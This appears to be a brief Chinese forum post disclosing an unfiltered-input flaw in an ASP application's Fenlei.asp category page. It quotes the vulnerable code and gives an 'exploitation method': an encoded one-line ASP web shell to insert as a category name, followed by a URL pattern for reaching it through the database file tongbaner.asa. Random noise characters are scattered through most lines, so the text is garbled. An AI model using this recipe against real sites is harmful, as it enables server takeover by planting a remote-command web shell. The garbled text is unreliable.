'Fenlei.asp , k0 l q! w8 P
$ S5 L8 B/ r5 F1 lIF Request.QueryString("Action")="del" Then ! {; F9 j7 K$ Z7 g7 J: C
ID=Request.QueryString("ID") ! z! ?- [/ E$ l$ w" o6 _
IF Countss ("tui","Fenlei",ID )<>0 then
& _: [ ?$ S6 w$ L8 a'略
5 w8 g- s& [6 \6 E, wIF Request.QueryString("Action")="Add" Then
! n+ F3 K/ O3 ~Tname=Request.Form("Typename") ( x$ g8 H& _& w* Z6 [
Set Rs=Server.CreateObject("adodb.Recordset")
! A, B7 _6 h8 i4 W+ USql="Select * From Fenlei Order by id Desc "
2 T# s# J" e2 S9 v( DRs.Open Sql,Conn,1,3 3 X% F z2 |4 r0 @! [ a* |
Rs.Addnew " x+ ?/ _1 @' B. O! I$ P
Rs("Typename")=Tname % q/ j8 `* \2 l! r% w3 u) N
'略 4 r+ b) M( c* `) `. r
Set Rs=Server.CreateObject("adodb.Recordset")
4 W2 W+ |) J$ [# F5 kSql="Select * From Fenlei Order by id Desc " * I' y4 x3 S! w
Rs.Open Sql,Conn,1,1
) Q- A1 t+ \4 d2 L' k! {* a% \'略
% R7 Y v# P* P* W* j% Z6 o%>
\8 b- q( @. Q3 ] l0 P+ M , S9 A( M8 u, D& y3 i* B
: P& N0 `8 }9 d ! E8 `0 N6 [; s0 s9 I2 N
没有过滤,直接写入数据库。
* D7 R/ W, o+ C9 Z
+ Z: A3 F$ O. F利用方法:$ ^. b: B" v" y x$ R
2 k3 E, x" o% n7 ^% `! h9 y5 {
插入:┼攠數畣整爠煥敵瑳∨≡┩>
7 a# W1 `' u7 X2 f & Y* T$ t- G4 W; q3 F- D$ |
' ~: n% W# ~$ F* g2 y2 K
连接: http://www.xxx.com/###tongbaner.asa
( e5 n ^% \; A6 e8 @. {: h'默认安装文件: ! E' B: O& D$ N$ l- I7 V3 U
'install.asp0 S0 E+ L- ~. @ v# Q8 e# z
|